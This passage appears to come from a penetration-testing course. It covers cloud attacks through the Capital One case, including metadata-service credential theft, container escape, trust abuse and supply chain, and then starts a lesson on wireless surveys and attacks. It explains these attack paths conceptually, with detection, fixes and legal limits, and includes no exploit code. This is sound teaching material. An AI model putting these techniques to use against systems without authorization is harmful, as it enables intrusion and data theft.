Debug settings survive into production, and log stores often have looser access than the systems they describe. OWASP's Logging Cheat Sheet says to keep access tokens, passwords, encryption keys and session identifiers out entirely. A tester with a read-only role checks log groups and log buckets, perhaps through a secrets scanner such as TruffleHog (Lesson 11), and reports the line number with the value redacted. The fix is masking, narrow read access and a separate log account.

The other half is what logs miss. CloudTrail trails do not record data events by default, and S3 object reads are data events, so downloads can be invisible while the List Buckets call shows. ScoutSuite's cloudtrail-no-data-logging flags this. Logs can also be attacked: the Ninth Circuit says Thompson deleted evidence of her mining from customers' logs. ATT&CK now files disabling cloud logs as T1685.002 (the old ID, T1562.008, redirects there). Defenders alert when logging stops.

Servers billed to someone else: workload runtime attacks and cryptojacking

The indictment also charges Cryptojacking. The Ninth Circuit describes it: with the stolen credentials Thompson created new virtual servers in customers' accounts and deployed miners, and the customers paid while she collected the coins. ATT&CK calls this Resource Hijacking (T1496); starting a rogue container is T1610.

A workload is anything running your code: a virtual machine, a container, a function. A workload runtime attack happens while it runs, so a clean image scan says nothing about it. The attacker abuses the running application to start extra processes, uses the workload's own role, or launches a rogue workload beside it, and nothing has to cross a boundary. Here is a fictional alert, trimmed, using the default Falco rule's real text:

Notice A shell was spawned in a container with an attached terminal | user=root process=bash parent=node container_name=web-proxy

Runtime sensors catch this: Falco (open source), GuardDuty Runtime Monitoring, Microsoft Defender for Cloud. So do bills, CPU graphs and servers in regions the client never uses. Fixes are read-only root filesystems, images with no shell, outbound filtering, narrow roles and budget alerts. On a test, never run a miner: prove the ability with a harmless marker that the ROE names.

The bill: the OCC consent order, the verdict and the sentence

In August 2020 the Office of the Comptroller of the Currency (OCC), the US bank regulator, issued a consent order with a civil money penalty of $80,000,000. The bank neither admitted nor denied the findings. In or around 2015, the OCC found, it "failed to establish effective risk assessment processes prior to migrating" to the cloud.

It also lacked appropriate network security controls, adequate data loss prevention (DLP) controls and effective dispositioning of alerts; internal audit missed numerous weaknesses; and the board failed to hold management accountable.

Look at who was fined. The settings were the customer's, which is Lesson 3's shared responsibility model with a price on it.

After a nine-day trial in June 2022, a jury convicted Thompson of one count of wire fraud and six of computer fraud and abuse, and acquitted her of access device fraud and aggravated identity theft. In October 2022 she received time served (about 100 days), five years of probation with three of home confinement, and 250 hours of community service. The Ninth Circuit put the guideline range at 168 to 210 months.

On 17 March 2025 the Ninth Circuit vacated that as substantively unreasonable. On 3 November 2025 the district court imposed the same sentence, now as five years of supervised release, and again set restitution at $40,745,000. No later ruling turned up as of 3 November 2026.

Her letter quoted in that order says she viewed the download as proof of concept. A tester's proof of concept can use very similar commands. The signed authorization is what separates them.

Figures differ by record, so attribute them:

RecordWhat it says
Superseding indictment (2021)Approximately 100,000,000 customers who applied for credit cards; data from more than 30 entities
Ninth Circuit (2025)98 million Americans; credentials from at least 200 entities, data from at least 30
Complaint (2019)Approximately 120,000 Social Security numbers and 77,000 bank account numbers
Capital OneApproximately 100 million people in the US and 6 million in Canada; about 140,000 Social Security numbers, 80,000 linked bank account numbers and 1 million Canadian Social Insurance Numbers

Beyond the case: container escape in Docker and Kubernetes

Capital One's role lived on a virtual server, but many workloads now run in Docker containers or under Kubernetes. A virtual machine has its own kernel. A container is a group of processes on the host's kernel, kept apart by namespaces, control groups and capability limits; NIST SP 800-190 lists that shared kernel as a risk in its own right. Container escape means a process gets past those limits to the host or other containers (ATT&CK T1611). There are two routes.

  • The configuration hands over the host. A privileged container, a sensitive host directory mounted inside, a shared host namespace or a mounted Docker socket each take down part of the wall. The socket is the classic case: the daemon runs as root unless you opt into rootless mode, and whoever controls it can share any host directory with a new container, so Docker's documentation says only trusted users should control it. In Kubernetes the same choices appear as privileged pods and hostPath volumes, which the Pod Security Standards' Baseline profile forbids.
  • A bug in the runtime or kernel. CVE-2019-5736 let a root process in a container overwrite the host's runc binary. CVE-2024-21626 leaked a file descriptor, so a new container process could start with its working directory on the host's filesystem. Patching closes these; no setting does.

A tester reads the first route from configuration, which needs no exploit. If the ROE allows a live proof, it is the smallest step that shows the boundary crossed, then stop and report. Defenders see container processes touching host paths, unexpected mounts and containers starting containers. Fixes: never run privileged, drop capabilities, use rootless mode or user namespaces, keep seccomp and AppArmor on, never mount the socket, enforce the Restricted profile, patch runc.

Try this in your lab. Docker Bench checks a host against the CIS Docker Benchmark and only reads configuration, so it is safe on your own Kali VM. With the NAT adapter connected, run git clone https://github.com/docker/docker-bench-security.git, then disconnect NAT. Confirm with sudo docker ps that Juice Shop is running, because the script skips its container section when nothing is. From that folder, run sudo sh docker-bench-security.sh. Expect something like this sample, built from the script's own messages and not a captured run; your container name will differ.

[PASS] 5.5 - Ensure that privileged containers are not used (Automated)
[PASS] 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
[WARN] 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
[WARN]      * Container running with root FS mounted R/W: eager_turing
[PASS] 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
[PASS] 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)

Checks 5.5, 5.6 and 5.32 are the escape shortlist: a WARN on any gives a process a route to the host. Check 5.13 hardens against runtime attacks. Check 5.14 passes because Lesson 2 published Juice Shop on 127.0.0.1. Change one input as a thought experiment: published as -p 3000:3000, it would flip to WARN with "Port being bound to wildcard IP: 0.0.0.0". Do not actually do that, because it would expose a deliberately insecure shop on every interface.

Whom the role believes: trust relationship abuse

A role has two documents. The permissions policy says what it can do. Its trust policy says who may become it. Cross-account trust is how vendors and software as a service (SaaS) products work in your account without sharing keys, and abusing it means arriving as someone already believed. Compare two fictional statements for a cost-monitoring vendor. In the first, :root means the whole vendor account, not its root user.

Before: "Principal": { "AWS": "arn:aws:iam::444455556666:root" },
        "Action": "sts:AssumeRole"

After:  "Principal": { "AWS": "arn:aws:iam::444455556666:role/tern-monitor" },
        "Action": "sts:AssumeRole",
        "Condition": { "StringEquals": { "sts:ExternalId": "[unique to this customer]" } }
  • Trust too wide. A whole account, or a federated identity provider with no conditions. GitHub's guidance for its OIDC tokens is to evaluate the sub claim, so only a named repository and branch can assume the role.
  • The confused deputy. A malicious customer of the vendor gives it your role's name, and the vendor, trusted by you, assumes it on their behalf. An external ID, unique per customer, is AWS's stated fix for this Confused deputy problem.
  • The trusted party falls. Whoever breaks into the vendor inherits every role that trusts it (ATT&CK T1199).

A tester lists every external principal, helped by ScoutSuite's iam-assume-role-lacks-external-id-and-mfa and IAM Access Analyzer. Do not assume a role from the vendor's side: the vendor is not your client (Lesson 3). Defenders watch AssumeRole events from unfamiliar accounts. The fix is narrow principals, conditions, short sessions and regular review.

Other people's code and connections: integrations, supply chain and tampering

Family and mechanismPublic exampleA tester checksFix
Third-party integrations: a connected SaaS product holds a token that works without your login or MFAGoogle: from 8 to 18 August 2025, UNC6395 used compromised OAuth tokens for the Salesloft Drift app to export Salesforce data, then searched it for secrets such as AWS keysConnected apps, scopes, token agesLeast scope; short lifetimes; remove the unused
Supply chain attack: a malicious change arrives in something you pull and trust at build or deploy timeCISA, March 2025: the compromised tj-actions/changed-files GitHub Action (CVE-2025-30066) disclosed access keys, tokens and private keys through its logsThird-party code referenced by a movable tag; rights of the build rolePin to a full-length commit SHA; narrow build roles; rotate on alert
Image and artifact tampering: an image or build output changes after review, in a registry or pipelineATT&CK T1525: an implanted internal image spreads when provisioning always uses the latestWho can push; digest at build against digest runningDeploy by digest; sign and verify; restrict push; immutable tags

A tag is a movable pointer, and the difference shows in one line of a deployment file:

image: registry.example.com/tern/proxy:latest                  (whatever the tag points to today)
image: registry.example.com/tern/proxy@sha256:[64 hex digits]  (exactly this content)

In July 2025 Docker announced it is retiring Docker Content Trust and pointed users to Sigstore or Notation, so treat Docker Bench's content-trust check (4.5) as a prompt to ask how images are verified. To prove registry write access, push a harmless, agreed test tag; never replace a production image.

Choosing a tool: Pacu, Prowler, ScoutSuite, Docker Bench, Kube-hunter or the vendor's own

ToolPurpose and needsOutputStatus on 3 Nov 2026; choose it when
PacuAWS exploitation framework with modules for enumeration, escalation and more. Needs AWS keys and authorizationSession database; summaries such as "Confirmed permissions for role"Active, v1.7.0. When the ROE allows active testing and you must prove a flagged permission exploitable
ProwlerPosture audit: thousands of checks mapped to compliance frameworks, across clouds. Needs read-only credentials; its hosted version needs sign-upPASS or FAIL per check with severityVery active, v5.47.0. For a broad, repeatable, read-only audit
ScoutSuitePoint-in-time, multi-cloud configuration audit. Needs read-only credentialsHTML report to study offlineNot archived; last release May 2024. For an offline snapshot or second opinion
Docker BenchCIS Docker Benchmark checks on one host. Needs root there, no cloud account[PASS], [WARN], [INFO], [NOTE] lines and a JSON logBased on CIS 1.6.0; last release December 2023; prebuilt image out of date. For auditing a Docker host
Kube-hunterHunts Kubernetes weaknesses. A normal hunt changes nothing; active hunting can do harm. Its README says never to run it on a cluster you do not ownTables of nodes, services and vulnerabilitiesNo longer developed; Aqua recommends Trivy. The exam names it; in practice use Trivy (Lesson 11)
Cloud-native vendor toolsAWS Security Hub CSPM, IAM Access Analyzer, Inspector, GuardDuty; Microsoft Defender for Cloud; Google Security Command Center. Need the client's console; some cost moneyProvider-format findingsCurrent. For the defender's own view, or what the client already pays for

A Kube-hunter vulnerability row has six columns; this fictional one uses a real ID and wording:

KHV002 | 192.0.2.20:6443 | Initial Access // Exposed sensitive interfaces | K8s Version Disclosure | The kubernetes version could be obtained from the /version endpoint | v1.xx.x

Vendor tools watch you too: GuardDuty's PenTest:IAMUser/KaliLinux finding covers API calls from a Kali machine, so tell the client's security team what to expect. Clients who want these paths rehearsed continuously use breach and attack simulation (BAS) tools, covered in Lesson 23.

A worked scenario in the exam's style: ranking findings by the path they form

The situation (fictional). Tern Harbor keeps loan applications in the bucket tern-loan-applications. The ROE gives you a read-only audit role and forbids exploitation. You collected this.

RowSourceSeverity shownResult
1Prowler s3_bucket_public_accesscriticalS3 Bucket tern-web-logos has public access due to bucket policy.
2Prowler ec2_securitygroup_allow_ingress_from_internet_to_all_portscriticalSecurity group old-test has all ports open to the Internet. It is attached to nothing.
3Prowler ec2_instance_imdsv2_enabledhighEC2 Instance i-0abc123example has IMDSv2 disabled or not required. This is proxy-01, on the internet.
4Policy listingnoneproxy-01's role allows s3:GetObject on every resource.
5Configuration reviewnoneproxy-01's forwarding rule accepts any upstream host.
6ScoutSuite cloudtrail-no-data-loggingflaggedData Events Logging Not Configured.

Your task. Which rows form the path to the loan data? What leads the report? What is the first fix?

  1. Start at the asset, not the severity column. Who can read loan data? Row 4: proxy-01's role.
  2. Work backward. How could an outsider get that identity? Row 5 forwards a request to the metadata address, and row 3 means a plain request gets an answer. Row 6 means the reads leave no object-level trace. The path is 5, 3, 4, with 6 hiding it.
  3. Test the loud rows. Row 1 is a true positive, but confirm the logos are public by design: Informational or Low. Row 2 is attached to nothing, so nothing is exposed today: Low hygiene that turns serious the day someone attaches it.
  4. Lead and first fix. Lead with the path, though no tool rated it critical. First fix, because it is one setting: require tokens on proxy-01. Then narrow the role, repair the forwarding rule and log object reads.
  5. Respect the ROE. You requested no credentials, so write that the path was established from configuration and not exercised.

Second run, one input changed. Suppose row 4 reads arn:aws:s3:::tern-web-logos/*. Rows 3 and 5 print exactly as before, but the path now ends at logos anyone can already read. Row 3 falls to a hardening item, and the report has no path to loan data to lead with. Same tool output, different finding, because severity comes from where the path goes.

The cloud attack family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
Metadata service attacks (T1552.005)Proxy or SSRF reaches a trusting local serviceProwler, ScoutSuite, PacuInstance credentials used from outsideRequire IMDSv2; narrow role
IAM misconfigurationsWildcards; rights that grant rights; old keysPacu, Prowler, IAM Access AnalyzerUnusual API calls; AccessDenied burstsLeast privilege; roles over keys
Third-party integrationsBroad, long-lived tokens at a vendorConsole reviewOdd API volume from the appLeast scope; expiry
Resource misconfiguration (T1530)Settings left openProwler, ScoutSuite, vendor toolsPosture findingsBlock Public Access; allow lists; segmentation
Logging information exposure (T1685.002)Secrets in logs; loose read rights; no data eventsTruffleHog, ScoutSuiteReads of log stores; logging stoppedMask; separate log account
Image and artifact tampering (T1525)Movable tags; broad push rightsRegistry review, TrivyUnexpected pushes; digest changesDigests; signatures
Supply chain attacks (T1195)Trust in code pulled at build timePipeline review, TrivySecrets or new calls in build logsPin to commit SHA
Workload runtime attacks (T1496, T1610)Application flaw or stolen role in a running workloadFalco, GuardDuty, DefenderOdd processes; CPU and bill spikesRead-only root; narrow roles; sensors
Container escape (T1611)Privileged settings; mounted socket; runtime bugsDocker Bench, Kube-hunter, TrivyHost paths touched from containersNo privileged; Restricted profile; patch
Trust relationship abuse (T1199)Trust too wide; no external IDScoutSuite, IAM Access AnalyzerAssumeRole from unfamiliar accountsNarrow principals; external ID

What the exam asks, and the pairs people confuse

The stem saysIt points toDo not confuse it with
169.254.169.254; a web flaw returned role credentialsMetadata service attack; require IMDSv2A stolen long-term AKIA key
HttpTokens: optionalIMDSv1 still answersIMDSv2 enforced, which needs required
A role can read every bucket but needs oneIAM misconfigurationExposed bucket, which needs no credentials
Tokens or passwords appear in log filesLogging information exposureLog tampering, which removes records
Downloads happened; the trail shows no object readsData events not enabledA broken trail
Third-party code pulled at build time leaked secretsSupply chain attackTampering in your own registry
The image behind a tag changed after approvalImage and artifact tamperingSupply chain attack upstream
Clean scan, then a miner in the running containerWorkload runtime attackContainer escape, which reaches the host
Privileged flag, docker.sock, host path mountContainer escape routeRuntime attack inside the container
Vendor account may assume the role, no external IDTrust relationship abuse; confused deputyThe permissions half of the role
A connected SaaS app's OAuth token was stolenThird-party integrationsSupply chain, which changes code you run
Exploit an AWS account with modulesPacuProwler, which only audits
Read-only audit, compliance frameworks, PASS and FAILProwler; ScoutSuite for an offline HTML reportPacu
CIS benchmark on a Docker hostDocker BenchKube-hunter, for Kubernetes clusters

How cloud findings are reported

The loudest scanner result is rarely the finding. Here is the Tern Harbor path as the client would read it.

  • Title: Internet-facing proxy can expose a role that reads all loan application data.
  • Severity: High. If the path works, an unauthenticated outsider reads every loan application and the reads go unlogged. Not rated Critical because the path was established from configuration and, under the ROE, not exercised.
  • Evidence: Prowler output dated 3 November 2026 for i-0abc123example; the role's policy document; the forwarding rule, lines 14-18 of the proxy configuration; ScoutSuite's data events result. No credentials were requested or used.
  • Root cause: a forwarding rule with no allow list, metadata tokens not required, and a role granted far more than a proxy needs.
  • Remediation: set HttpTokens to required on proxy-01 and in its launch template; replace the star with the one bucket the proxy uses; restrict forwarding to named hosts; enable S3 data events on the sensitive bucket; alert on instance credentials used outside the VPC. Retest by rereading the setting and the policy.

Say who owns each fix. These are customer settings; a flaw in the provider's own service goes to the provider, as its policy says. List what you did not touch, such as the vendor's account, in the limitations.

Common misconceptions

  • "Capital One left its buckets public." The records describe a valid role reached through a misconfigured firewall.
  • "An Amazon insider did it." The Ninth Circuit says Thompson began over two years after that job ended, scanning public addresses.
  • "IMDSv2 makes the metadata service safe." Only when tokens are required, and never against code already on the instance.
  • "The provider answers for this." The OCC fined the customer. Configuration is the customer's side of shared responsibility.
  • "A clean image scan means a safe container." Runtime attacks begin after the scan, and a tag can point somewhere new tomorrow.

Summing up

  • Capital One's chain, from the records: a firewall misconfiguration, credentials for *****-WAF-Role, a list of more than 700 buckets, and a copy of what the role could read. SSRF and the metadata service come from reporting, not the indictment.
  • The metadata service at 169.254.169.254 gives role credentials to whatever reaches it from inside the instance. Security groups do not filter that traffic, and VPC flow logs omit it.
  • IMDSv2 adds a PUT, a token, refusal of X-Forwarded-For and a hop limit of 1, and it protects only when tokens are required.
  • Read a policy by identity, action, resource and deny: default deny, allow opens, explicit deny wins. A separate trust policy says who may become the role.
  • Stolen access and open access get different fixes: least privilege for one, S3 Block Public Access for the other.
  • CloudTrail omits S3 object reads unless data events are on, and tokens, passwords and keys never belong in logs.
  • A runtime attack stays in the workload; a container escape reaches the host, through privileged settings, a mounted socket or a runc bug.
  • Pacu exploits AWS; Prowler and ScoutSuite audit read-only; Docker Bench checks a host against CIS; Kube-hunter is no longer developed and Aqua points to Trivy.
  • The OCC's $80,000,000 penalty fell on the customer. You need permission from the client and within the provider's rules, and you rank findings by the path they form.

Sources

  1. United States v. Thompson, No. CR19-159RSL (W.D. Wash.): Complaint, No. MJ19-344 (July 29, 2019); Superseding indictment, Dkt. 102 (June 17, 2021); Order on resentencing, Dkt. 463 (Nov. 3, 2025).
  2. United States v. Thompson, 130 F.4th 1158 (9th Cir. 2025). ca9.uscourts.gov
  3. Office of the Comptroller of the Currency. (2020). In the matter of Capital One, N.A. and Capital One Bank (USA), N.A.: Consent order, AA-EC-20-51, #2020-036. Copy at courthousenews.com
  4. Capital One. (n.d.). Information on the Capital One cyber incident. capitalone.com
  5. Krebs, B. (2019, August 2). What we can learn from the Capital One hack. krebsonsecurity.com
  6. Amazon Web Services. MacCárthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities. AWS Security Blog; Penetration testing. aws.amazon.com; and documentation for EC2 (IMDSv2, role credentials), IAM (policy evaluation, confused deputy), S3 Block Public Access, CloudTrail data events, GuardDuty finding types and VPC security groups and flow logs, at docs.aws.amazon.com.
  7. Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com; Microsoft. (n.d.). Azure Instance Metadata Service. learn.microsoft.com; Google Cloud. (n.d.). Cloud security FAQ. support.google.com
  8. The MITRE Corporation. (n.d.). ATT&CK techniques T1552.005, T1530, T1685.002, T1496, T1610, T1611, T1199, T1525 and T1195. attack.mitre.org
  9. Tool repositories, read 3 November 2026: Pacu; Prowler; ScoutSuite; Docker Bench; kube-hunter; Falco rules.
  10. Souppaya, M., Morello, J., and Scarfone, K. (2017). Application container security guide (NIST SP 800-190). nvlpubs.nist.gov (PDF); National Vulnerability Database, CVE-2019-5736, CVE-2024-21626.
  11. Docker. (n.d.). Docker Engine security. docs.docker.com; Docker. (2025, July 29). Retiring Docker Content Trust. docker.com; Kubernetes. (n.d.). Pod Security Standards. kubernetes.io
  12. Cybersecurity and Infrastructure Security Agency. (2025). Supply chain compromise of third-party tj-actions/changed-files. cisa.gov; GitHub. (n.d.). Secure use reference. docs.github.com; Google Threat Intelligence Group. (2025). Widespread data theft targets Salesforce instances via Salesloft Drift. cloud.google.com; OWASP. (n.d.). Logging cheat sheet. owasp.org
Key terms
Instance metadata service
A local web service at 169.254.169.254 that tells a cloud virtual server about itself and, if a role is attached, hands out that role's temporary credentials.
IMDSv2
The session-based version of the AWS metadata service, which demands a token obtained with a PUT request; it protects only when tokens are set to required.
Server-side request forgery
A flaw that makes a server send a request of the attacker's choosing, often to internal addresses the attacker cannot reach directly.
Identity and access management
The policy system that decides which identities can call which actions on which resources, denying by default and letting an explicit deny override any allow.
Trust policy
The document attached to a cloud role that names who may assume the role, separate from the policy that says what the role can do.
Confused deputy problem
A trusted service is tricked into using its access for someone who lacks it; in AWS cross-account roles, an external ID prevents it.
Cryptojacking
Using someone else's computing resources without permission to mine cryptocurrency, leaving them with the bill.
Container escape
A process inside a container gaining access to the host or to other containers, through a permissive configuration or a runtime or kernel flaw.
Supply chain attack
Compromising a component, tool or service that a target pulls in and trusts, so that the malicious change arrives through a normal build or update.

Through the Air: Wireless Surveys, Enumeration, and Attacks

  • Plan and read a wireless survey: wardriving, SSID, channel and signal strength scans, and wireless enumeration, choosing among WiGLE.net, InSSIDer, Kismet and Aircrack-ng.
  • Explain how deauthentication, evil twin, captive portal, WPAD, WPS PIN, jamming, protocol fuzzing and packet crafting attacks work, including the WPS keyspace arithmetic, and what defenders see.
  • Decide from survey evidence whether an unknown access point is an evil twin, a neighbor or an unlisted legitimate device, and write it up as a finding.
  • State which wireless tests the law limits whatever a client signs, and recommend WPA3, protected management frames, EAP-TLS and disabling WPS.

Gaylord Opryland, March 2013: the hotspot that kept dropping

In March 2013 someone who had attended a function at the Gaylord Opryland hotel in Nashville complained to the US Federal Communications Commission (FCC) that the hotel was "jamming mobile hotspots" in its convention space. The FCC's Enforcement Bureau found a Wi-Fi monitoring system whose containment feature sent de-authentication packets to any access point the hotel classed as rogue. Staff had used it on guests who posed no threat, at a property selling its own wireless service for $250 to $1,000 per access point. In October 2014 Marriott, which ran the hotel, settled for $600,000.[1]

Two facts from that case run through this lesson. One small frame, unauthenticated on most networks, can knock a device off Wi-Fi. And on the radio, owning the building does not make everything you do there lawful.

You will follow one wireless test, first look to final report, for Corvid Bay Credit Union, Lesson 4's fictional client, whose scope includes two head-office networks, CB-Staff and CB-Guest. For Wi-Fi basics, see Network+ Certification Prep.

Exam objectives: 4.7 (wireless attacks and tools), 2.2 (wireless enumeration), 2.4 (WiGLE.net, InSSIDer, Aircrack-ng) and 3.1 (wireless scans: SSID, channel and signal strength).

Before you touch a radio: the law runs ahead of the contract

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Radio adds a second problem: signals ignore property lines, and some acts are unlawful whatever your client signs.

No lab in this course transmits on radio frequencies, because transmitting or jamming can be illegal in itself. Labs read published captures and fictional data, so you need no Wi-Fi adapter, account or target.

ActThe ruleFor you
Operating a jammerFederal law prohibits operating, marketing or selling jamming equipment, Wi-Fi included. Unless you are an authorized federal user, you may not operate one in the US even on private property; the FCC's 2012 advisory cites up to $112,500 for a single act, seizure and possible imprisonment.[1]No client signature can authorize it. Report the risk on paper.
Disrupting Wi-Fi with framesSection 333 of the Communications Act bars willful or malicious interference. The Enforcement Bureau applied it at Gaylord Opryland, and Marriott settled.[1]Your frames reach everyone in range. Get explicit written approval (Lesson 4), limit it to the client's devices, and ask counsel first.
Keeping what others sendIn Joffe v. Google, at the motion-to-dismiss stage, the Ninth Circuit held that "radio communication" in the Wiretap Act's definitions excludes Wi-Fi payload data, defeating Google's argument that unencrypted traffic its Street View cars collected was readily accessible.[2]Log what networks announce. Do not keep strangers' payload, even from an open network.

Other countries have their own radio law, so ask local counsel. What matters here: the client's written permission is always necessary, and on the radio it is not always enough.

Four names and a frame: SSID, ESSID, BSSID and the beacon

A wireless local area network (WLAN) is made of access points (APs) and the clients that join them. The service set identifier (SSID) is the network's name, at most 32 bytes.[7] The extended service set identifier (ESSID) is that name across every AP in one network; tools blur the two. The BSSID is the MAC address of one AP.[9] One ESSID with several BSSIDs is normal, because that is how clients roam, and it is also why a stranger's AP can claim the same name.

APs announce themselves in beacon frames about ten times a second, readable by anyone in range even on an encrypted network. Here is one from a capture the Wireshark project publishes, abridged: TShark 4.6.8 reading a file, no radio involved.[5]

$ tshark -r Network_Join_Nokia_Mobile.pcap -c 1 -V
IEEE 802.11 Beacon frame
    BSS Id: Siemens_41:bd:6e (00:01:e3:41:bd:6e)
    Beacon Interval: 0.102400 [Seconds]
    Tag: SSID parameter set: "martinet3"
    Tag: DS Parameter set: Current Channel: 11
    Tag: Vendor Specific: Microsoft Corp.: WPA Information Element

That is a name, a vendor (the address's first half), a channel and the security on offer, all before anyone connects. Clients send probe requests, often naming the network they want, and association requests when they join. Hearing every frame takes an adapter in monitor mode; sending your own takes packet injection. The objectives' hardware list names injection-capable adapters and a directional antenna. You need neither here.

NIST draws the key line: passive tools transmit nothing and stay undetected, while active tools try to attach to what they find.[3] Wireless intrusion detection sensors can spot only active scanners.[4]

A diagram of an 802.11 frame's fields in order: frame control, duration, up to four addresses, sequence control, QoS and HT control, frame body and checksum.
The fields of an 802.11 frame
Superspritz - CC BY-SA 4.0 - Wikimedia Commons

Step 1: Read the public record with WiGLE.net and wardriving

Wardriving means moving through an area with a Wi-Fi scanner and GPS, logging what networks announce and where. It works because beacons cross walls and are meant to be heard. The exam files it under attacks, but it is passive reconnaissance that touches nothing. With a GPS and a Wi-Fi card, Kismet writes logs ready for WiGLE.[7]

WiGLE is a public catalog of such observations, and a lookup sends nothing to the client, so a tester starts there. It needs an account (real email, username, password), limits new accounts' daily queries, and licenses its data for personal, research or educational, non-commercial use only.[6] Paid client work falls outside that wording, so ask about a commercial license. The license states no age rule, so read the terms before registering. No lab here needs it.

A fictional lookup might show CB-Scan, using WEP, last seen in February 2023 and on nobody's list: a lead, not a finding. Its location is an estimate, because WiGLE averages reported positions weighted by signal strength squared. Defenders see nothing. Assume names are public; an owner can ask WiGLE to remove a record by BSSID.[6]

A map of Europe in which roads and cities glow purple and yellow where WiGLE's contributors have logged the most wireless networks.
Europe as WiGLE's wardrivers logged it, 2019
Designer2k2 - CC BY-SA 4.0 - Wikimedia Commons

Step 2: Scan on site: SSID, channel and signal strength

Objective 3.1's three scans are one slow walk answering three questions, and a passive tool reports the raw material: SSID, device type, channel, MAC address, signal strength and packet counts.[3]

  • SSID scanning: which networks exist? Compare the names you hear with the client's list. A hidden network blanks its name in beacons, so airodump-ng shows a placeholder such as <length: 7> until a probe response or association request reveals it.[9] Frame 719 of that capture reads Association Request, ... SSID="martinet3".[5] Hiding a name is not a security control.
  • Channel scanning: where are they? A radio hears one channel at a time, so tools hop, often for several hundred milliseconds each, and can miss frames. Balance that dwell time against coverage, and cover every channel, domestic or international.[3] At 2.4 GHz, channels are 20 MHz wide with centers 5 MHz apart, so only 1, 6 and 11 avoid overlap.[8]
  • Signal strength scanning: how close are they? Signal is read in dBm, a negative logarithmic scale: about -30 a few feet from an AP, -67 for voice, -70 for reliable web use, -80 for bare connectivity.[8] Every 3 dB doubles the power and every 10 dB multiplies it by ten, so -41 is 100 times stronger than -61. Readings depend on the driver, so compare within one adapter.[9]

Signal does two jobs. Recorded point by point, inside and outside the walls, it becomes a wireless site survey: a coverage map, not the building survey of Lesson 13. Followed on foot, it locates a device, which NIST says rests on a knowledgeable operator and an appropriate antenna.[3] A directional antenna hears best where it points.

Here is the walk at Corvid Bay: fictional output with documentation-range addresses, laid out like airodump-ng, where AUTH shows MGT for a separate authentication server and PSK for a pre-shared key.[9]

BSSID              PWR  CH  ENC   CIPHER  AUTH  ESSID
00:00:5E:00:53:11  -48  36  WPA2  CCMP    MGT   CB-Staff
00:00:5E:00:53:12  -63  44  WPA2  CCMP    MGT   CB-Staff
00:00:5E:00:53:21  -51   6  OPN                 CB-Guest
00:00:5E:00:53:31  -58   1  WPA2  CCMP    PSK   CB-Printers
00:00:5E:00:53:A7  -41  11  OPN                 CB-Staff
00:00:5E:00:53:C4  -77   1  WPA2  CCMP    PSK   HarborDental
00:00:5E:00:53:D2  -70  40  WPA2  CCMP    PSK   <length: 6>
A diagram of Wi-Fi channels 1 to 14 with their center frequencies, each channel's spread overlapping its neighbors, and channels 1, 6 and 11 standing clear of one another.
Overlapping channels in the 2.4 GHz band
2.4_GHz_Wi-Fi_channels_(802.11b,g_WLAN).svg : Michael Gauthier ,... - CC BY-SA 3.0 - Wikimedia Commons
A hand holds an open metal can with a foil-wrapped rim and a wire probe inside, a home-made waveguide antenna known as a cantenna.
A home-built directional Wi-Fi antenna
energylabsbr - CC BY 2.0 - Wikimedia Commons

Choosing a scanner: WiGLE.net, InSSIDer, Kismet or Aircrack-ng

ToolWhat it isAccount and status, 3 November 2026Choose it when
WiGLE.netPublic catalog: a website, no radioFree account, non-commercial license; active.[6]You want history before going on site
InSSIDerWindows and Mac scanner (its maker writes inSSIDer) showing channel, width, signal, Wi-Fi generation and security through the laptop's own adapterFree download needing a free Oscium account; MetaGeek's tools now sit with Oscium.[8]You want a quick channel and coverage picture with no special hardware
KismetOpen source sniffer, wireless intrusion detection system (WIDS), wardriver and capture tool for Wi-Fi, Bluetooth, Zigbee and moreNo account; actively developed.[7]You want long passive capture, GPS logs or alerts
Aircrack-ngCommand-line suite for monitoring, attacking, testing and crackingNo account; 1.7 (May 2022) is still the latest release.[9]You want per-channel AP and client tables, and scripting

Know Aircrack-ng by its parts:

  • airmon-ng switches monitor mode
  • airodump-ng captures frames and prints AP and client tables
  • aireplay-ng injects frames
  • airbase-ng targets clients rather than the AP
  • aircrack-ng recovers WEP and WPA or WPA2 pre-shared keys
  • airdecap-ng decrypts captures.[9]

This course teaches you to read their output and gives no command lines. First, though, ask whether the client's wireless intrusion detection already holds this data.[3]

A terminal window running Aircrack-ng 1.0 rc3, listing candidate key bytes and reporting a repetitive demonstration WEP key from the project's own example.
Aircrack-ng's screen in an old 1.0 rc3 build
aircrack-ng.org - Public domain - Wikimedia Commons

Step 3: Wireless enumeration: who is here and what they trust

Wireless enumeration (objective 2.2) works out who uses the networks and what they trust, mostly by listening. Compare each BSSID with the inventory; the first three octets name the vendor, though MAC addresses can be spoofed, so a match proves little.[3] Probe requests name networks a client wants, and a twin can answer to those names.[9][12] Beacon bits wlan.rsn.capabilities.mfpc (capable) and .mfpr (required) show whether Protected Management Frames (PMF) stop forged management frames, without you sending anything.

Enterprise Wi-Fi (IEEE 802.1X) logs in through the Extensible Authentication Protocol (EAP) to an authentication server. EAP-TLS (EAP-Transport Layer Security) puts certificates on both sides, so there is no password to steal.[14] Microsoft says it generally offers the highest security and is the only method allowed in WPA3-Enterprise 192-bit mode.[15] PEAP (Protected EAP) wraps an inner method in a TLS tunnel; with EAP-MS-CHAP v2 inside, the login is still a password.[15] Either way the client must validate the server's certificate, or it may connect to a rogue network.[15] A published capture shows EAP-TLS on the air, by frame and sender:[5]

 5     AP      EAP Request, TLS EAP (EAP-TLS)
13     AP      Server Hello, Certificate, Server Key Exchange, ...
18     Client  Certificate, Client Key Exchange, Certificate Verify, ...
22-25  Both    Key (Message 1 to 4 of 4)
26 on  Both    QoS Data, protected

Everything through frame 25 is readable by any listener. RFC 5216 made hiding the peer's name optional, while EAP-TLS over TLS 1.3 (RFC 9190) never discloses it, so older setups can hand you usernames; treat those as sensitive.[14]

